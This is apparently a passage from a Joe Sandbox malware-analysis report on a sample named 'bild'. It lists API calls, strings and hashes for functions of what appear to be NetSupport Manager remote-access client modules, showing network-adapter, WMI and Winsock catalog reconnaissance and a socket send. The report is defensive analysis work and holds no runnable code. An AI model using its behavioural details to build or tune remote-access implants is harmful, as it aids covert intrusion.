_calloc.LIBCMT ref: 6C5E2FBB
GetTickCount.KERNEL32 ref: 6C5E300D
InterlockedExchange.KERNEL32(?,00000000), ref: 6C5E301B
_calloc.LIBCMT ref: 6C5E303B
_memmove.LIBCMT ref: 6C5E3049
InterlockedDecrement.KERNEL32(?), ref: 6C5E307F
SetEvent.KERNEL32(00000318,?,?,?,?,?,?,?,?,?,?,?,?,?,?,939E34B3), ref: 6C5E308C

Part of subcall function 6C5E28D0: wsprintfA.USER32 ref: 6C5E2965

Strings

a3^l, xrefs: 6C5E2FE0, 6C5E2FE3
a3^l, xrefs: 6C5E2F87, 6C5E2FEB, 6C5E3021, 6C5E2FEE, 6C5E3043, 6C5E305A, 6C5E3099

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: Interlocked_calloc$CountDecrementEventExchangeTick_memmovewsprintf
String ID: a3^l$a3^l
API String ID: 3178096747-1531287518
Opcode ID: 3391fb66f8c9279749039ce9bdf7013c98a783aec3d5853591469d329c930f3b
Instruction ID: b07ff557ca466e130170c4e88f318dbd3eb09bff7e07ea863bff7de938e3be89
Opcode Fuzzy Hash: 3391fb66f8c9279749039ce9bdf7013c98a783aec3d5853591469d329c930f3b
Instruction Fuzzy Hash: D34166B5D00209AFDB00DFA9CC45AEFB7B8EB8C305F00851AE515E7640E771AA058BA1

Function 6C5F0D40 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(IPHLPAPI.DLL,00000000,6C5F0F2B,6E272756,00000000,?,?,6C60F278,000000FF,?,6C5DAE0A,?,00000000,?,00000080), ref: 6C5F0D48
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 6C5F0D5B
GetAdaptersAddresses.IPHLPAPI(00000002,00000000,00000000,?,?,-6C61CB4C,?,?,6C60F278,000000FF,?,6C5DAE0A,?,00000000,?,00000080), ref: 6C5F0D76
_malloc.LIBCMT ref: 6C5F0D8C

Part of subcall function 6C5F1B69: __FF_MSGBANNER.LIBCMT ref: 6C5F1B82
Part of subcall function 6C5F1B69: __NMSG_WRITE.LIBCMT ref: 6C5F1B89
Part of subcall function 6C5F1B69: HeapAlloc.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,6C5FD3C1,6C5F6E81,00000001,6C5F6E81,?,6C5FF447,00000018,6C617738,0000000C,6C5FF4D7), ref: 6C5F1BAE

GetAdaptersAddresses.IPHLPAPI(00000002,00000000,00000000,00000000,?,?,?,?,?,6C60F278,000000FF,?,6C5DAE0A,?,00000000,?), ref: 6C5F0D9F
_free.LIBCMT ref: 6C5F0D84

Part of subcall function 6C5F1BFD: HeapFree.KERNEL32(00000000,00000000), ref: 6C5F1C13
Part of subcall function 6C5F1BFD: GetLastError.KERNEL32(00000000), ref: 6C5F1C25

_free.LIBCMT ref: 6C5F0DAF

Strings

IPHLPAPI.DLL, xrefs: 6C5F0D41
GetAdaptersAddresses, xrefs: 6C5F0D55

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: AdaptersAddressesHeap_free$AddressAllocErrorFreeLastLibraryLoadProc_malloc
String ID: GetAdaptersAddresses$IPHLPAPI.DLL
API String ID: 3205077458-1843585929
Opcode ID: f7d7d0567c885f62fea874b15115aee20e00d0644c9aa3f9200b4ec4794edaa5
Instruction ID: 5f63a6c4c531cfa2697ff8420c0a1c5ae77eb827c9b6ee89afed28c04b5278e4
Opcode Fuzzy Hash: f7d7d0567c885f62fea874b15115aee20e00d0644c9aa3f9200b4ec4794edaa5
Instruction Fuzzy Hash: 0001D4F5200341ABE7289B759C85F5776A89B80B05F24482DF566CBA80EB71F846CB64

Function 11145440 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11145330: RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 111453A0
Part of subcall function 11145330: RegCloseKey.ADVAPI32(?), ref: 11145404

_memset.LIBCMT ref: 11145485
GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114549E
LoadLibraryA.KERNEL32(kernel32.dll), ref: 111454C5
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111454D7
FreeLibrary.KERNEL32(00000000), ref: 111454EF
GetSystemDefaultLangID.KERNEL32 ref: 111454FA

Strings

GetUserDefaultUILanguage, xrefs: 111454D1
kernel32.dll, xrefs: 111454B0

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Library$AddressCloseDefaultFreeLangLoadOpenProcSystemVersion_memset
String ID: GetUserDefaultUILanguage$kernel32.dll
API String ID: 4251163631-545709139
Opcode ID: 60d783b5b5cd8942fc75307bb254099b366294b2f30fa269448a3e45cf09a56e
Instruction ID: 76ed8f4553af2ae4cc76032582d3c5cf4b75be54885724a55a46303ac3459834
Opcode Fuzzy Hash: 60d783b5b5cd8942fc75307bb254099b366294b2f30fa269448a3e45cf09a56e
Instruction Fuzzy Hash: 07313971E002299BD761DF74D984BE9F7B6EB08729F540164E42DC7A80D7344984CF91

Function 11015010 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 128registryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110150CA
_memset.LIBCMT ref: 1101510E
RegQueryValueExA.KERNEL32(?,PackedCatalogItem,00000000,?,?,?,?,?,00020019), ref: 11015148

Strings

SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries, xrefs: 1101504B
%012d, xrefs: 110150C4
PackedCatalogItem, xrefs: 11015132
NSLSP, xrefs: 11015158

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: QueryValue_memsetwsprintf
String ID: %012d$NSLSP$PackedCatalogItem$SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries
API String ID: 1333399081-1346142259
Opcode ID: 51d8f863940591209aa48ee8c17907a3c30549026713edc7384ebfc6867c5eab
Instruction ID: d38f3a4d66d5a90606c53f5b1b84405609ec5bb3b13ff7cea0d7775b25b40b12
Opcode Fuzzy Hash: 51d8f863940591209aa48ee8c17907a3c30549026713edc7384ebfc6867c5eab
Instruction Fuzzy Hash: C6419D71D02269AFEB11DB64CC90BDEF7B8EB44314F0445E9E819A7281EB35AB48CF50

Function 1100FDC0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1100FDED
std::_Lockit::_Lockit.LIBCPMT ref: 1100FE10
std::bad_exception::bad_exception.LIBCMT ref: 1100FE94
__CxxThrowException@8.LIBCMT ref: 1100FEA2
std::_Lockit::_Lockit.LIBCPMT ref: 1100FEB5
std::locale::facet::_Facet_Register.LIBCPMT ref: 1100FECF

Strings

bad cast, xrefs: 1100FE8C

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: a7aa4a6049a8ed817bef268ace451c424b01c27ab063a1090bc59c7f390f5fbb
Instruction ID: 563b417412927bd42dfe2d2268ce551a617b01fe8fe711e168dc892134580a96
Opcode Fuzzy Hash: a7aa4a6049a8ed817bef268ace451c424b01c27ab063a1090bc59c7f390f5fbb
Instruction Fuzzy Hash: 5731E975D002669FD711DF94C890BAEF7B8EB04B68F10426DD921A7291DB717D40CB92

Function 6C5E6940 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 166COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6C5E6950

Part of subcall function 6C5E7BE0: _memset.LIBCMT ref: 6C5E7BFF
Part of subcall function 6C5E7BE0: _strncpy.LIBCMT ref: 6C5E7C0B

Part of subcall function 6C5DA4E0: EnterCriticalSection.KERNEL32(6C61B898,00000000,?,?,?,6C5DDA7F,?,00000000), ref: 6C5DA503
Part of subcall function 6C5DA4E0: InterlockedExchange.KERNEL32(?,00000000), ref: 6C5DA568
Part of subcall function 6C5DA4E0: Sleep.KERNEL32(00000000,?,6C5DDA7F,?,00000000), ref: 6C5DA581
Part of subcall function 6C5DA4E0: LeaveCriticalSection.KERNEL32(6C61B898,00000000), ref: 6C5DA5B3

Strings

Channel, xrefs: 6C5E6ADD
Client, xrefs: 6C5E6AE2
Publish %d pending services, xrefs: 6C5E6AAF
1.2, xrefs: 6C5E6998
Bl^l, xrefs: 6C5E6B88

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountEnterExchangeInterlockedLeaveSleepTick_memset_strncpy
String ID: 1.2$Bl^l$Channel$Client$Publish %d pending services
API String ID: 1112461860-3724619051
Opcode ID: b3781626d08bba0d0c1be4c731d31220b6d7aea3d102f15218fa38e7e9c4e79a
Instruction ID: d7257693362b3b5800c530b124fa5055513c9b1dcfaaf5649dd297b53f66769a
Opcode Fuzzy Hash: b3781626d08bba0d0c1be4c731d31220b6d7aea3d102f15218fa38e7e9c4e79a
Instruction Fuzzy Hash: 3551E671B04309DBDB10EA7EDC9679D37B4AB4938AF14053AC952C3E81DF30A944CB59

Function 11144BD0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,11194AB8), ref: 11144C3D
SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110F4CB), ref: 11144C7E
SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 11144CDB

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

nsmdir < GP_MAX, xrefs: 11144BFC
FALSE || !"wrong nsmdir", xrefs: 11144C9E
..\ctl32\util.cpp, xrefs: 11144BF7, 11144C99

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: FolderPath$ErrorExitFileLastMessageModuleNameProcesswsprintf
String ID: ..\ctl32\util.cpp$FALSE || !"wrong nsmdir"$nsmdir < GP_MAX
API String ID: 3494822531-1878648853
Opcode ID: 942c5252def4268129969c39a1215845e921a51e2954e507dd92eff7077da9be
Instruction ID: dd955378f98185685044f21f066d1e50e049b7277ab8e5714ac6db0ba135c9a8
Opcode Fuzzy Hash: 942c5252def4268129969c39a1215845e921a51e2954e507dd92eff7077da9be
Instruction Fuzzy Hash: AB518835D4022E5BD711CF24DC50BDEF7A4AF15B08F2401A4D8997BA80EBB27B84CBA5

Function 11107290 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 110libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F520: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,76EEC3F0,?,1111022D,00000000,00000001,?,?,?,?,?,11031040), ref: 1110F53E

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,00000000,11189A56,000000FF), ref: 11107363
LoadLibraryA.KERNEL32(Advapi32.dll), ref: 111073B2
std::exception::exception.LIBCMT ref: 11107414
__CxxThrowException@8.LIBCMT ref: 11107429

Strings

Advapi32.dll, xrefs: 11107365
Wtsapi32.dll, xrefs: 1110735E

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LibraryLoad$CreateEventException@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID: Advapi32.dll$Wtsapi32.dll
API String ID: 2851125068-2390547818
Opcode ID: aaba10e307cec69a1f7ff7a57bac704082b679f648b946fc7c8140d35e3eefa9
Instruction ID: 20da51148d2406ef940ba90f631bbe284ff6dbb95dc7cb8c25b5cdc78ae8e1aa
Opcode Fuzzy Hash: aaba10e307cec69a1f7ff7a57bac704082b679f648b946fc7c8140d35e3eefa9
Instruction Fuzzy Hash: 2A4115B4D09B449FC761CF6A8940BDAFBE8EFA9604F00490EE5AE93210D7797500CF56

Function 11017300 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000300,000000FF), ref: 1101733C
CoInitialize.OLE32(00000000), ref: 11017345
_GetRawWMIStringW@16.PCICL32(Win32_ComputerSystem,00000001,?,?), ref: 1101736C
CoUninitialize.COMBASE ref: 110173D0

Strings

Win32_ComputerSystem, xrefs: 1101735D
PCSystemTypeEx, xrefs: 1101737C

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: InitializeObjectSingleStringUninitializeW@16Wait
String ID: PCSystemTypeEx$Win32_ComputerSystem
API String ID: 2407233060-578995875
Opcode ID: 3ab08bcf13d713d750a6400e0dd08c6ca0ab4b874316cbd8a5b8b2923fc85cec
Instruction ID: df925c951649f52390f194a40c23bf9fa59b5f59fb7a44760539d7ccd5920114
Opcode Fuzzy Hash: 3ab08bcf13d713d750a6400e0dd08c6ca0ab4b874316cbd8a5b8b2923fc85cec
Instruction Fuzzy Hash: 7F2137B5E041259BDB11DFA0CC46BBAB6E8AF40308F0040B9EC69DB184FA79E940D7A1

Function 11017220 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 70synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000300,000000FF), ref: 11017252
CoInitialize.OLE32(00000000), ref: 1101725B
_GetRawWMIStringW@16.PCICL32(Win32_SystemEnclosure,00000001,?,?), ref: 11017282
CoUninitialize.COMBASE ref: 110172E0

Strings

Win32_SystemEnclosure, xrefs: 11017273
ChassisTypes, xrefs: 11017292

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: InitializeObjectSingleStringUninitializeW@16Wait
String ID: ChassisTypes$Win32_SystemEnclosure
API String ID: 2407233060-2037925671
Opcode ID: 03f14ebb68a291b498bc3e28f26753d57b14005c3c93e514e963537cc8d20d91
Instruction ID: c2f3c346b695d23426c96ecc328f7bdb1aeadc280033f44fb53199f8ba8604cb
Opcode Fuzzy Hash: 03f14ebb68a291b498bc3e28f26753d57b14005c3c93e514e963537cc8d20d91
Instruction Fuzzy Hash: 19210575E016299BD712DFE0CC45BEEB7E89F80718F0001A8FC29DB184EA7AE945C761

Function 111386B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 68COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 111386DA
GetTickCount.KERNEL32 ref: 111386E1

Strings

DoICFConfig() OK, xrefs: 11138786
DesktopTimerProc - Further ICF config checking will not be performed, xrefs: 1113879C
AutoICFConfig, xrefs: 11138700
Client, xrefs: 11138705

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: AutoICFConfig$Client$DesktopTimerProc - Further ICF config checking will not be performed$DoICFConfig() OK
API String ID: 536389180-1512301160
Opcode ID: a952649d10152439879ed58b5e1132f0d59133535c4a4a3642475d19345c2f1e
Instruction ID: a0019f70d98f4d819e239f855ef0bc8db2e19db1671bc02c3e0d3b7677daedde
Opcode Fuzzy Hash: a952649d10152439879ed58b5e1132f0d59133535c4a4a3642475d19345c2f1e
Instruction Fuzzy Hash: E4210578A247AB4AFB039B759ED4755FB83578073EF450278DE10862CCDB74A458CB42

Function 6C5D9C49 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 66sleeptimenetworkCOMMON

Download Yara Rule

APIs

send.WSOCK32(?,?,?,00000000), ref: 6C5D9C93
timeGetTime.WINMM(?,?,?,00000000), ref: 6C5D9CD0
